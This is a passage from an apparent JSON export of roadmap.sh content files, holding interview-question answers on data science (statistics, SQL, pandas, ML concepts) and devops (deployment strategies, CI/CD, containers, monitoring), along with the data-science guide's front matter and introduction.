    "content": "To compute the median in a stream of numbers, use two heaps:\n\n- Max-heap for the lower half\n- Min-heap for the upper half\n- Keep both heaps balanced\n- The median is either the top of one heap or the average of both tops\n\n```python\nimport heapq\n\nclass MedianFinder:\n    def __init__(self):\n        self.small = []  # max heap (negative values)\n        self.large = []  # min heap\n    \n    def add_num(self, num):\n        if len(self.small) == len(self.large):\n            heapq.heappush(self.large, -heapq.heappushpop(self.small, -num))\n        else:\n            heapq.heappush(self.small, -heapq.heappushpop(self.large, num))\n    \n    def find_median(self):\n        if len(self.small) == len(self.large):\n            return (self.large[0] - self.small[0]) / 2.0\n        else:\n            return self.large[0]\n``` "
  },
  {
    "path": "src/data/question-groups/data-science/content/regularization.md",
    "content": "Regularization is a technique in machine learning to prevent models from overfitting. Overfitting happens when a model doesn't just learn from the underlying patterns (signals) in the training data but also picks up and amplifies the noise in it. This leads to a model that performs well on training data but poorly on new data.\n\nL1 and L2 regularization are methods used to mitigate overfitting in machine learning models by adding a penalty term on coefficients to the model's loss function. This penalty discourages the model from assigning too much importance to any single feature (represented by large coefficients), making the model more straightforward. Regularization keeps the model balanced and focused on the true signal, enhancing its ability to generalize to unseen data.\n\nA regression model that uses the L1 regularization technique is called lasso regression, and a model that uses the L2 is called ridge regression.\n\n- **L1 Regularization:** Also called a lasso regression, this adds the absolute value of the sum (\"absolute value of magnitude\") of coefficients as a penalty term to the loss function.\n- **L2 Regularization:** Also called a ridge regression, this adds the squared sum (\"squared magnitude\") of coefficients as the penalty term to the loss function. "
  },
  {
    "path": "src/data/question-groups/data-science/content/remove-duplicates-dataframe.md",
    "content": "To remove duplicates from a DataFrame:\n```python\ndf = df.drop_duplicates()\n```\nYou can also refine this by specifying columns:\n\n```python\n# Drop duplicates based on specific columns\ndf = df.drop_duplicates(subset=['customer_id', 'product_id'])\n```\n\nControl which duplicates to keep:\n\n```python\n# Keep first or last occurrence\ndf = df.drop_duplicates(keep='last')  # or 'first'\n``` "
  },
  {
    "path": "src/data/question-groups/data-science/content/right-vs-left-join.md",
    "content": "A RIGHT JOIN is the same as a LEFT JOIN with the table order reversed:\n\n```sql\nSELECT * FROM A RIGHT JOIN B ON A.id = B.id;\nSELECT * FROM B LEFT JOIN A ON A.id = B.id;\n``` "
  },
  {
    "path": "src/data/question-groups/data-science/content/rmse-mse-linear-regression.md",
    "content": "**To evaluate a regression model:**\n\n```python\nfrom sklearn.metrics import mean_squared_error  \nimport numpy as np  \nmse = mean_squared_error(y_true, y_pred)  \nrmse = np.sqrt(mse)\n```\n\n- **MSE:** Penalizes large errors heavily.\n- **RMSE:** More interpretable because it's in the same unit as the target.\n\n**Another alternative:**\n\n```python\nfrom sklearn.metrics import mean_absolute_error\nmae = mean_absolute_error(y_true, y_pred)\n```\n\n**MAE** is less sensitive to outliers. "
  },
  {
    "path": "src/data/question-groups/data-science/content/role-of-statistics.md",
    "content": "The role of statistics in data science is to help data scientists understand and summarize data, uncover patterns, validate models, handle uncertainty (like missing or noisy data), and make evidence-based decisions.\n\n**For example**:\n\n- Mean and median summarize central tendencies.\n- Standard deviation and variance measure variability.\n- Hypothesis testing validates assumptions.\n- Regression analysis predicts relationships between variables.\n- Bayesian inference updates beliefs as new data comes in.\n\n**Use case**: A marketing team runs an A/B test to compare two email campaigns. Statistical methods help determine whether the difference in click-through rates is real or just a coincidence. "
  },
  {
    "path": "src/data/question-groups/data-science/content/sql-joining-orders-customers.md",
    "content": "To join order details with corresponding customer information, you use a simple inner join:\n\n```sql\nSELECT o.*, c.name, c.email\nFROM orders o\nJOIN customers c ON o.customer_id = c.id;\n```\n\nThis pulls all orders where a matching customer exists. If you need **every order**, even those without matching customers, switch to a LEFT JOIN:\n\n```sql\nSELECT o.*, c.name, c.email\nFROM orders o\nLEFT JOIN customers c ON o.customer_id = c.id;\n``` "
  },
  {
    "path": "src/data/question-groups/data-science/content/sql-second-highest-salary.md",
    "content": "To find the second highest salary, you can take one of two common methods: a subquery or a window function.\n\n**Method 1: Subquery method**\nYou first get the maximum salary from the table. Then, you find the highest salary that's less than that max, giving you the second highest salary.\n\nThis method is clean and efficient:\n\n```sql\nSELECT MAX(salary) AS SecondHighest\nFROM employee\nWHERE salary < (SELECT MAX(salary) FROM employee);\n```\n\n**Method 2: Window function with DENSE_RANK()**\nYou rank all salaries in descending order using DENSE_RANK(), then filter for rank 2 to get the second highest. The LIMIT 1 ensures only one row is returned in case of ties. This method is better for flexibility if you want to choose the third highest or fourth, etc.\n\n```sql\nSELECT salary AS SecondHighest\nFROM (\n  SELECT salary, DENSE_RANK() OVER (ORDER BY salary DESC) as rank\n  FROM employee\n) ranked\nWHERE rank = 2\nLIMIT 1;\n```\n"
  },
  {
    "path": "src/data/question-groups/data-science/content/sql-top-customers-last-quarter.md",
    "content": "To find your top customers *who also bought across multiple categories*, filter purchases within 3 months, group by customer, and apply category constraints with HAVING:\n\n```sql\nSELECT customer_id, SUM(amount) AS total_spent\nFROM purchases\nWHERE purchase_date >= DATE_SUB(CURDATE(), INTERVAL 3 MONTH)\nGROUP BY customer_id\nHAVING COUNT(DISTINCT category_id) >= 3\nORDER BY total_spent DESC\nLIMIT 5;\n```\n\nThis makes sure each customer bought from **at least 3 categories**. WHERE filters rows **before** grouping, while HAVING filters groups **after**. "
  },
  {
    "path": "src/data/question-groups/data-science/content/sql-top-customers-revenue.md",
    "content": "To get the highest-spending customers, group by customer, sum their order totals, sort by that total, and limit the results:\n\n```sql\nSELECT customer_id, SUM(total_amount) AS revenue\nFROM orders\nGROUP BY customer_id\nORDER BY revenue DESC\nLIMIT 5;\n```\n\nTo add customer names, just join with the customers' table.\n\n**Common pitfall:** Not grouping properly before ordering can result in incorrect aggregates. "
  },
  {
    "path": "src/data/question-groups/data-science/content/support-vectors-svm.md",
    "content": "A Support Vector Machine (SVM) is a supervised machine learning algorithm used mainly for classification tasks. It finds the optimal hyperplane in an N-dimensional space that separates data points into different classes while maximizing the margin between the closest points of each class.\n\nSupport vectors are the most important data points, useful in defining the optimal hyperplane that separates different classes. "
  },
  {
    "path": "src/data/question-groups/data-science/content/t-test-vs-z-test.md",
    "content": "The difference between a t-test and a z-test comes down to what you know about your data: the sample size and the population standard deviation.\n\n![t-test vs z-test](https://assets.roadmap.sh/guest/t-test-vs-z-test-wtm6x.png)\n\nUse a t-test when:\n\n- The sample size is small (usually n ≤ 30).\n- The population standard deviation is unknown.\n- You still want to compare means (sample vs. population or between two samples).\n\nUse a z-test when:\n\n- You know the population standard deviation.\n- Your sample size is large (typically n > 30).\n- The data is roughly normally distributed."
  },
  {
    "path": "src/data/question-groups/data-science/content/type-i-vs-type-ii-errors.md",
    "content": "The difference between Type I and Type II error is that Type I error rejects a true null hypothesis (a false positive), while Type II error fails to reject a false null hypothesis (a false negative).\n\n![Type I vs Type II error](https://assets.roadmap.sh/guest/difference-between-type-i-and-type-ii-errors-90mpj.png)\n\nLet's assume you're testing a new drug. The null hypothesis is that the drug doesn't work, and in reality, it indeed doesn't. A type I error occurs when your test says it does, but it doesn't; this is a false positive. A type II, on the other hand, is when the drug works in reality, but your tests say it doesn't: a false negative."
  },
  {
    "path": "src/data/question-groups/data-science/content/types-of-machine-learning.md",
    "content": "The difference between supervised, unsupervised, and reinforcement learning lies in how the model learns. This table describes their contrasts and common use cases for each.\n\n| **Type of Learning**       | **Description**                                                                                                                                               | **Common Use Cases**                             |\n| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ |\n| **Supervised Learning**    | Models are trained on labeled data, where each example includes an input and a known output. The model learns to predict the output for new, unseen inputs.   | Regression and classification tasks.             |\n| **Unsupervised Learning**  | Models are trained on unlabeled data. The goal is to find hidden patterns or structure in the data without explicit output labels.                            | Clustering, dimensionality, and reduction tasks. |\n| **Reinforcement Learning** | A model learns by trial and error, receiving rewards or penalties based on its actions. It aims to make a sequence of decisions to maximize reward over time. | Games, robotics, and AI decision-making systems. | "
  },
  {
    "path": "src/data/question-groups/data-science/content/univariate-bivariate-multivariate.md",
    "content": "Univariate analysis is all about looking at one variable on its own, with no comparisons, just understanding its distribution, central tendency, or spread. For example, I might look at the average test score in a class or the frequency of different grade ranges using histograms or summary statistics.\n\n![Univariate, bivariate, and multivariate analysis](https://assets.roadmap.sh/guest/understanding-univariate-bivariate-and-multivariate-analysis-in-data-science-s2663.png)\n\nBivariate analysis looks at the relationship between two variables, such as how students' study time affects their test scores. To analyze this, I'd use tools like correlation, scatter plots, or line graphs to identify trends or patterns.\n\nMultivariate analysis, on the other hand, deals with three or more variables at once. It focuses on understanding how multiple factors combine to influence an outcome. For example, I might explore how sleep hours, study time, and caffeine intake together impact test scores. In that case, I'd use regression or a tree-based model to analyze the combined effect. "
  },
  {
    "path": "src/data/question-groups/data-science/content/variance-in-data-science.md",
    "content": "Variance in data science measures the spread between numbers in a dataset. Simply put, it measures how far each number in the set is from the mean (average). It helps us understand how spread out or consistent the values are in a dataset.\n\n**Low variance example:**\nMean: (78 + 79 + 80 + 81 + 82) / 5 = 80"
  },
  {
    "path": "src/data/question-groups/data-science/content/wide-to-long-format.md",
    "content": "To transform data from wide format to long format, I usually use the **melt()** function in pandas to unpivot the columns into rows. It's especially useful when you have repeated measures across columns, like monthly sales or survey responses, and you want to make the data tidy for analysis or plotting.\n\nFor example, if I have a DataFrame where each column represents a month, I'll keep the identifier (like product name) as is, and melt the rest so each row shows one product-month-sales combo. This makes it easier to group, filter, or feed into models."
  },
  {
    "path": "src/data/question-groups/data-science/data-science.md",
    "content": "---\norder: 5\nbriefTitle: 'Data Science'\nbriefDescription: 'Test, Rate and Improve your Data Science knowledge with these questions.'\ntitle: 'Top 60+ Data Science Interview Questions and Answers'\ndescription: 'Ace your next Data Science interview with our Q&As that are popular among hiring managers.'\nauthorId: 'william'\nisNew: true\ndate: 2025-05-14\nseo:\n  title: 'Top 60+ Data Science Interview Questions and Answers'\n  description: 'Ace your next Data Science interview with our Q&As that are popular among hiring managers.'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/data-science-interview-questions-and-answers-400hl.jpg'\n  keywords:\n    - 'data science quiz'\n    - 'data science questions'\n    - 'data science interview questions'\n    - 'data science interview'\n    - 'data science test'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nquestions:\n  - question: What is the difference between correlation and causation?\n    answer: correlation-vs-causation.md\n    topics:\n      - 'Core Concepts'\n  - question: What is the role of statistics in data science?\n    answer: role-of-statistics.md\n    topics:\n      - 'Core Concepts'\n  - question: How do you handle missing data?\n    answer: handling-missing-data.md\n    topics:\n      - 'Core Concepts'\n  - question: What is the difference between univariate, bivariate, and multivariate analysis?\n    answer: univariate-bivariate-multivariate.md\n    topics:\n      - 'Core Concepts'\n  - question: What is the difference between the long format data and wide format data?\n    answer: long-format-vs-wide-format.md\n    topics:\n      - 'Core Concepts'\n  - question: What is multicollinearity, and how do you detect it?\n    answer: multicollinearity.md\n    topics:\n      - 'Core Concepts'\n  - question: What is variance in data science?\n    answer: variance-in-data-science.md\n    topics:\n      - 'Core Concepts'\n  - question: What do you understand by imbalanced data?\n    answer: imbalanced-data.md\n    topics:\n      - 'Core Concepts'\n  - question: How would you approach categorical and continuous variables differently during preprocessing?\n    answer: categorical-vs-continuous-variables.md\n    topics:\n      - 'Core Concepts'\n  - question: Describe how you would transform data from wide format to long format. Why might this be necessary?\n    answer: wide-to-long-format.md\n    topics:\n      - 'Core Concepts'\n  - question: How do you combine data from multiple sources with inconsistent formats?\n    answer: combining-data-from-multiple-sources.md\n    topics:\n      - 'Core Concepts'\n  - question: What is the Central Limit Theorem, and why is it important?\n    answer: central-limit-theorem.md\n    topics:\n      - 'Statistics and Probability'\n  - question: What is the difference between Type I and Type II errors?\n    answer: type-i-vs-type-ii-errors.md\n    topics:\n      - 'Statistics and Probability'\n  - question: What is a p-value? How do you interpret it?\n    answer: p-value-interpretation.md\n    topics:\n      - 'Statistics and Probability'\n  - question: Explain confidence intervals in simple terms.\n    answer: confidence-intervals.md\n    topics:\n      - 'Statistics and Probability'\n  - question: What is a probability distribution? Name a few commonly used ones.\n    answer: probability-distributions.md\n    topics:\n      - 'Statistics and Probability'\n  - question: When would you use a t-test vs. a z-test?\n    answer: t-test-vs-z-test.md\n    topics:\n      - 'Statistics and Probability'\n  - question: What is the null hypothesis, and how do you determine whether to reject it?\n    answer: null-hypothesis.md\n    topics:\n      - 'Statistics and Probability'\n  - question: Explain the Central Limit Theorem if we don't assume that the random variables are identically distributed but are still independent with finite second moments.\n    answer: lindeberg-feller-clt.md\n    topics:\n      - 'Statistics and Probability'\n  - question: Explain the long-tail distribution and provide three examples of relevant phenomena that have long tails. Why are they important in classification and regression problems?\n    answer: long-tail-distribution.md\n    topics:\n      - 'Statistics and Probability'\n  - question: What is the difference between supervised, unsupervised, and reinforcement learning?\n    answer: types-of-machine-learning.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: Explain the bias-variance tradeoff.\n    answer: bias-variance-tradeoff.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: What is cross-validation, and why is it important?\n    answer: cross-validation.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: What is overfitting, and how can you prevent it?\n    answer: overfitting-prevention.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: How do decision trees work?\n    answer: decision-trees.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: How does a random forest differ from a decision tree?\n    answer: random-forest-vs-decision-tree.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: How does logistic regression work?\n    answer: logistic-regression.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: What is linear regression, and what are the different assumptions of linear regression algorithms?\n    answer: linear-regression.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: What are support vectors in SVM (Support Vector Machine)?\n    answer: support-vectors-svm.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: What is the difference between KNN and K-means?\n    answer: knn-vs-kmeans.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: What's the difference between bagging and boosting?\n    answer: bagging-vs-boosting.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: Compare and contrast linear regression and logistic regression. When would you use one over the other?\n    answer: linear-vs-logistic-regression.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: What is regularization (L1 and L2), and why is it useful?\n    answer: regularization.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: What are precision, recall, F1 score, and AUC-ROC?\n    answer: evaluation-metrics.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: What is a confusion matrix, and how do you interpret it?\n    answer: confusion-matrix.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: What feature selection methods do you prefer when building a predictive model? How do you determine which features to keep or discard?\n    answer: feature-selection.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: Explain the difference between false positive and false negative rates in a confusion matrix. How do these metrics impact model evaluation in a fraud detection scenario?\n    answer: false-positive-vs-negative.md\n    topics:\n      - 'Machine Learning and Algorithms'\n  - question: Write an SQL query to get the second-highest salary from an employee table.\n    answer: sql-second-highest-salary.md\n    topics:\n      - 'Coding Challenges'\n  - question: Joining orders with customer information\n    answer: sql-joining-orders-customers.md\n    topics:\n      - 'Coding Challenges'\n  - question: Write an SQL query to find the top 5 customers by revenue.\n    answer: sql-top-customers-revenue.md\n    topics:\n      - 'Coding Challenges'\n  - question: Write an SQL query to find the top five customers by purchase amount in the last quarter.\n    answer: sql-top-customers-last-quarter.md\n    topics:\n      - 'Coding Challenges'\n  - question: How do you remove duplicates from a DataFrame?\n    answer: remove-duplicates-dataframe.md\n    topics:\n      - 'Coding Challenges'\n  - question: Given a stream of data, how would you find the median in real time?\n    answer: real-time-median.md\n    topics:\n      - 'Coding Challenges'\n  - question: Merge overlapping intervals\n    answer: merge-overlapping-intervals.md\n    topics:\n      - 'Coding Challenges'\n  - question: How do you handle null values in pandas?\n    answer: handling-null-values-pandas.md\n    topics:\n      - 'Coding Challenges'\n  - question: How would you group and aggregate data in Python?\n    answer: group-aggregate-data-python.md\n    topics:\n      - 'Coding Challenges'\n  - question: Why does RANK() skip sequence numbers in SQL?\n    answer: rank-sql-sequence.md\n    topics:\n      - 'Coding Challenges'\n  - question: Why use a RIGHT JOIN when a LEFT JOIN can suffice?\n    answer: right-vs-left-join.md\n    topics:\n      - 'Coding Challenges'\n  - question: What's the difference between .apply() and .map() in pandas?\n    answer: apply-vs-map-pandas.md\n    topics:\n      - 'Coding Challenges'\n  - question: How would you implement K-Means clustering in Python?\n    answer: kmeans-clustering-python.md\n    topics:\n      - 'Coding Challenges'\n  - question: How do you find RMSE and MSE in a linear regression model?\n    answer: rmse-mse-linear-regression.md\n    topics:\n      - 'Coding Challenges'\n  - question: How can you calculate accuracy using a confusion matrix?\n    answer: accuracy-from-confusion-matrix.md\n    topics:\n      - 'Coding Challenges'\n  - question: How would you measure the success of a new product launch?\n    answer: measure-product-launch-success.md\n    topics:\n      - 'Real Business Scenarios'\n  - question: You notice a sudden drop in website traffic, how would you investigate it?\n    answer: investigate-traffic-drop.md\n    topics:\n      - 'Real Business Scenarios'\n  - question: What if a model is 95% accurate, but the business is unhappy with the results?\n    answer: model-accuracy-business-impact.md\n    topics:\n      - 'Real Business Scenarios'\n  - question: You're given a random dataset, how do you check if it's useful?\n    answer: evaluate-dataset-usefulness.md\n    topics:\n      - 'Real Business Scenarios'\n  - question: How would you evaluate a classification model for medical diagnosis?\n    answer: evaluate-medical-classification-model.md\n    topics:\n      - 'Real Business Scenarios'\n  - question: What is the difference between batch and online learning?\n    answer: batch-vs-online-learning.md\n    topics:\n      - 'Real Business Scenarios'\n  - question: What are the pros and cons of deep learning vs. traditional ML?\n    answer: deep-learning-vs-traditional-ml.md\n    topics:\n      - 'Real Business Scenarios'\n  - question: How do you monitor model performance in production?\n    answer: monitor-model-performance.md\n    topics:\n      - 'Real Business Scenarios'\n  - question: How would you detect concept drift in your model?\n    answer: detect-concept-drift.md\n    topics:\n      - 'Advanced Topics'\n  - question: How do you ensure fairness and remove bias from your models?\n    answer: ensure-fairness-remove-bias.md\n    topics:\n      - 'Advanced Topics'\n  - question: Which is better - specializing a model with fine-tuning or generalizing it with more data?\n    answer: fine-tuning-vs-more-data.md\n    topics:\n      - 'Advanced Topics'\n---\n\n![Top data science interview questions](https://assets.roadmap.sh/guest/data-science-interview-questions-and-answers-400hl.jpg)\n\nData science interviews are in a league of their own. You're expected to juggle statistics, programming, and business thinking, all at once. Even seasoned professionals need tailored preparation, as these interviews assess more than domain knowledge. They test how you think, solve problems, keep up with trends, and communicate your results on the spot. \n\nThis guide is comprehensive, with 60+ common data science interview questions and answers, and some common missteps that trip up experienced candidates. These questions are categorized into three key areas: conceptual knowledge (statistics, machine learning, data wrangling), coding skills (Python and SQL), and business communication (process explanation and solution alignment).\n\nTo help you practice smarter, I've included flashcards for active recall and self-testing. Want to go deeper? Check out the [data science roadmap](https://roadmap.sh/ai-data-scientist) to strengthen the foundations behind your answers. Let's start with the core data science concepts. \n\n## Preparing for your Data Science interview\n\nAce your data science interview by keeping these tips in mind:\n\n- **Strengthen your foundation** in statistics, probability, and machine learning. Be clear on concepts like p-values, bias-variance tradeoff, and classification metrics.\n- **Practice coding** in Python, R (optional), and SQL, especially tasks like data wrangling, joins, aggregations, and real-world feature engineering.\n- **Build hands-on projects** that demonstrate your ability to apply models to real data. Tools like Kaggle, HackerRank, and GitHub are great places to showcase this.\n- **Learn to communicate your thinking.** Practice explaining your process and trade-offs in business terms, not just technical ones.\n- **Study this guide** to get familiar with the kinds of questions you'll likely be asked. Use your own examples to make answers more relatable and memorable.\n- **Understand the company and its data use cases.** Knowing their product, data stack, or industry challenges will help you tailor your answers and ask insightful questions."
  },
  {
    "path": "src/data/question-groups/devops/content/ansible-benefits.md",
    "content": "As an open-source tool for configuration management, Ansible provides several benefits when added to your project:\n\n- **Simplicity**: Easy to learn and use with simple YAML syntax.\n- **Agentless**: No need to install agents on managed nodes; instead it uses SSH to communicate with them.\n- **Scalability**: Can manage a large number of servers simultaneously with minimum effort.\n- **Integration**: Ansible integrates well with various cloud providers, CI/CD tools, and infrastructure.\n- **Modularity**: [Extensive library](https://docs.ansible.com/ansible/2.9/modules/list_of_all_modules.html) of modules for different tasks.\n- **Reusability**: Ansible playbooks and roles can be reused and shared across projects."
  },
  {
    "path": "src/data/question-groups/devops/content/auto-scaling.md",
    "content": "While the specifics will depend on the cloud provider you decide to go with, the generic steps would be the following:\n\n1. **Set up an auto-scaling group**. Create what is usually known as an auto-scaling group, where you configure the minimum and maximum number of instances you can have and their types. Your scaling policies will interact with this group to automate the actions later on.\n2. **Define the scaling policies**. What makes your platform want to scale? Is it traffic? Is it resource allocation? Find the right metric, and configure the policies that will trigger a scale-up or scale-down event on the auto-scaling group you already configured.\n3. **Balance your load**. Now it’s time to set up a load balancer to distribute the traffic amongst all your nodes. \n4. **Monitor**. Keep a constant monitor over your cluster to understand if your policies are correctly configured, or if you need to adapt and tweak them. Once you’re done with the first 3 steps, this is where you’ll constantly be, as the triggering conditions might change quite often."
  },
  {
    "path": "src/data/question-groups/devops/content/blue-green-deployment.md",
    "content": "![Blue vs Green Deployment](https://assets.roadmap.sh/guest/blue-green-deployment-example-wmj10.png)\n\nBlue-green deployment is a release strategy that reduces downtime and the risk of production issues by running two identical production environments, referred to as \"blue\" and \"green.\"\n\nAt a high level, the way this process works is as follows:\n\n- **Setup Two Environments**: Prepare two identical environments: blue (current live environment) and green (new version environment).\n- **Deploy to Green**: Deploy the new version of the application to the green environment through your normal CI/CD pipelines.\n- **Test green**: Perform testing and validation in the green environment to ensure the new version works as expected.\n- **Switch Traffic**: Once the green environment is verified, switch the production traffic from blue to green. Optionally, the traffic switch can be done gradually to avoid potential problems from affecting all users immediately.\n- **Monitor**: Monitor the green environment to ensure it operates correctly with live traffic. Take your time, and make sure you’ve monitored every single major event before issuing the “green light”.\n- **Fallback Plan**: Keep the blue environment intact as a fallback. If any issues arise in the green environment, you can quickly switch traffic back to the blue environment. This is one of the fastest rollbacks you’ll experience in deployment and release management.\n- **Clean Up**: Once the green environment is stable and no issues are detected, you can update the blue environment to be the new staging area for the next deployment.\n\nThis way, you ensure minimal downtime (either for new deployments or for rollbacks) and allow for a quick rollback in case of issues with the new deployment.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/build-pipelines.md",
    "content": "A build pipeline is an automated process that compiles, tests, and prepares code for deployment. It typically involves multiple stages, such as source code retrieval, code compilation, running unit tests, performing static code analysis, creating build artifacts, and deploying to one of the available environments.\n\nThe build pipeline effectively removes humans from the deployment process as much as possible, clearly reducing the chance of human error. This, in turn, ensures consistency and reliability in software builds and speeds up the development and deployment process.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/canary-release.md",
    "content": "![Canary Releases](https://assets.roadmap.sh/guest/canarly-release-explained-c8nco.png)\n\nA canary release is a common and well-known deployment strategy. It works this way: when a  new version of an application is ready, instead of deploying it and making it available to everyone, you gradually roll it out to a small subset of users or servers before being released to the entire production environment.\n\nThis way, you can test the new version in a real-world environment with minimal risk. If the canary release performs well and no issues are detected, the deployment is gradually expanded to a larger audience until it eventually reaches 100% of the users. If, on the other hand, problems are found, the release can be quickly rolled back with minimal impact.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/cicd-setup.md",
    "content": "Setting up a CI/CD pipeline from scratch involves several steps. Assuming you’ve already set up your project on a version control system, and everyone in your team has proper access to it, then the next steps would help:\n\n1. **Set up the Continuous Integration (CI)**:\n- Select a continuous integration tool (there are many, like [Jenkins](https://jenkins.io), [GitLab CI](https://about.gitlab.com), [CircleCI](https://circleci.com), pick one).\n- Connect the CI tool to your version control system.\n- Write a build script that defines the build process, including steps like code checkout, dependency installation, compiling the code, and running tests.\n- Set up automated testing to run on every code commit or pull request.\n\n2. **Artifact Storage**:\n- Decide where to store build artifacts (it could be Docker Hub, AWS S3 or anywhere you can then reference from the CD pipeline).\n- Configure the pipeline to package and upload artifacts to the storage after a successful build.\n\n3. **Set up your Continuous Deployment (CD)**:\n- Choose a CD tool or extend your CI tool (same deal as before, there are many options, pick one).\nDefine deployment scripts that specify how to deploy your application to different environments (e.g., development, staging, production).\n- Configure the CD tool to trigger deployments after successful builds and tests.\n- Set up environment-specific configurations and secrets management.\nRemember that this system should be able to pull the artifacts from the continuous integration pipeline, so set up that access as well.\n\n4. **Infrastructure Setup**:\n- Provision infrastructure using IaC tools (e.g., [Terraform](https://terraform.io), [CloudFormation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/Welcome.html)).\n- Ensure environments are consistent and reproducible to reduce times if there is a need to create new ones or destroy and recreate existing ones. This should be as easy as executing a command without any human intervention.\n\n5. **Set up your monitoring and logging solutions**:\n- Implement monitoring and logging for your applications and infrastructure (e.g., Prometheus, Grafana, ELK stack).\n- Remember to configure alerts for critical issues. Otherwise, you’re missing a key aspect of monitoring (reacting to problems).\n\n6. **Security and Compliance**:\n- By now, it’s a good idea to think about integrating security scanning tools into your pipeline (e.g., Snyk, OWASP Dependency-Check).\n- Ensure compliance with relevant standards and practices depending on your specific project’s needs.\n\nAdditionally, as a good practice,  you might also want to document the CI/CD process, pipeline configuration, and deployment steps. This is to train new team members on using and maintaining the pipelines you just created.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/cluster-health.md",
    "content": "As usual, there are many options when it comes to monitoring and logging solutions, even in the space of Kubernetes. Some useful options could be a Prometheus and Grafana combo, where you get the monitoring data with the first one and plot the results however you want with the second one.\n\nYou could also set up an EFK-based (using Elastic, Fluentd, and Kibana) or ELK-based (Elastic, Logstash, and Kibana) logging solution to gather and analyze logs.\n\nFinally, when it comes to alerting based on your monitoring data, you could use something like [Alertmanager](https://github.com/prometheus/alertmanager) that integrates directly with Prometheus and get notified of any issues in your infrastructure.\n\nThere are other options out there as well, such as NewRelic or Datadog. In the end, it’s all about your specific needs and the context around them.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/common-iac-tools.md",
    "content": "![Common IaC Tools](https://assets.roadmap.sh/guest/infrastructure-as-code-tools-oyapx.png)\n\nAs usual, there are several options out there, some of them specialized in different aspects of IaC.\n\n**Configuration management tools**\n\nIf you’re in search of effective configuration management tools to streamline and automate your IT infrastructure, you might consider exploring the following popular options:\n\n- Ansible\n- Chef\n- Puppet\n\nConfiguration management tools are designed to help DevOps engineers manage and maintain consistent configurations across multiple servers and environments. These tools automate the process of configuring, deploying, and managing systems, ensuring that your infrastructure remains reliable, scalable, and compliant with your organization's standards.\n\n**Provisioning and orchestration tools**\n\nIf, on the other hand, you’re looking for tools to handle provisioning and orchestration of your infrastructure, you might want to explore the following popular options:\n\n- Terraform\n- CloudFormation (AWS)\n- Pulumi\n\nProvisioning and orchestration tools are essential for automating the process of setting up and managing your infrastructure resources. These tools allow you to define your IaC, making it easier to deploy, manage, and scale resources across cloud environments.\n\nFinally, if you’re looking for multi-purpose tools, you can try something like:\n\n- Ansible (can also be used for provisioning)\n- Pulumi (supports both IaC and configuration management)\n"
  },
  {
    "path": "src/data/question-groups/devops/content/container-consistency.md",
    "content": "Containers help to add consistency in several ways, here are some examples:\n\n- **Isolation**: Containers encapsulate all the dependencies, libraries, and configurations needed to run an application, isolating it from the host system and other containers. This ensures that the application runs the same way regardless of where the container is deployed.\n- **Portability**: Containers can be run on any environment that supports the container runtime. This means that the same container image can be used on a developer's local machine, a testing environment, or a production server without any kind of modification.\n- **Consistency**: By using the same container image across different environments, you eliminate inconsistencies from differences in configuration, dependencies, and runtime environments. This ensures that if the application works in one environment, it will work in all others.\n- **Version Control**: Container images can be versioned and stored in registries (e.g., Docker Hub, AWS ECR). This allows teams to track and roll back to specific versions of an application if there are problems.\n- **Reproducibility**: Containers make it easier to reproduce the exact environment required for the application. This is especially useful for debugging issues that occur in production but not in development, as developers can recreate the production environment locally.\n- **Automation**: Containers facilitate the use of automated build and deployment pipelines. Automated processes can consistently create, test, and deploy container images."
  },
  {
    "path": "src/data/question-groups/devops/content/container-vs-vm.md",
    "content": "A container is a runtime instance of a container image (which is a lightweight, executable package that includes everything needed to run your code). It is the execution environment that runs the application or service defined by the container image.\n\nWhen a container is started, it becomes an isolated process on the host machine with its own filesystem, network interfaces, and other resources.\nContainers share the host operating system's kernel, making them more efficient and quicker to start than virtual machines.\n\nA virtual machine (VM), on the other hand, is an emulation of a physical computer. Each VM runs a full operating system and has virtualized hardware, which makes them more resource-intensive and slower to start compared to containers.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/continuous-monitoring.md",
    "content": "As a DevOps engineer, the concept of continuous monitoring should be ingrained in your brain as a must-perform activity.\n\nYou see, continuous monitoring is the practice of constantly overseeing and analyzing an IT system's performance, security, and compliance in real-time.\n\nIt involves collecting and assessing data from various parts of the infrastructure to detect issues, security threats, and performance bottlenecks as soon as they occur.\n\nThe goal is to ensure the system's health, security, and compliance, enabling quick responses to potential problems and maintaining the overall stability and reliability of the environment. Tools like Prometheus, Grafana, Nagios, and Splunk are commonly used for continuous monitoring.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/data-migration.md",
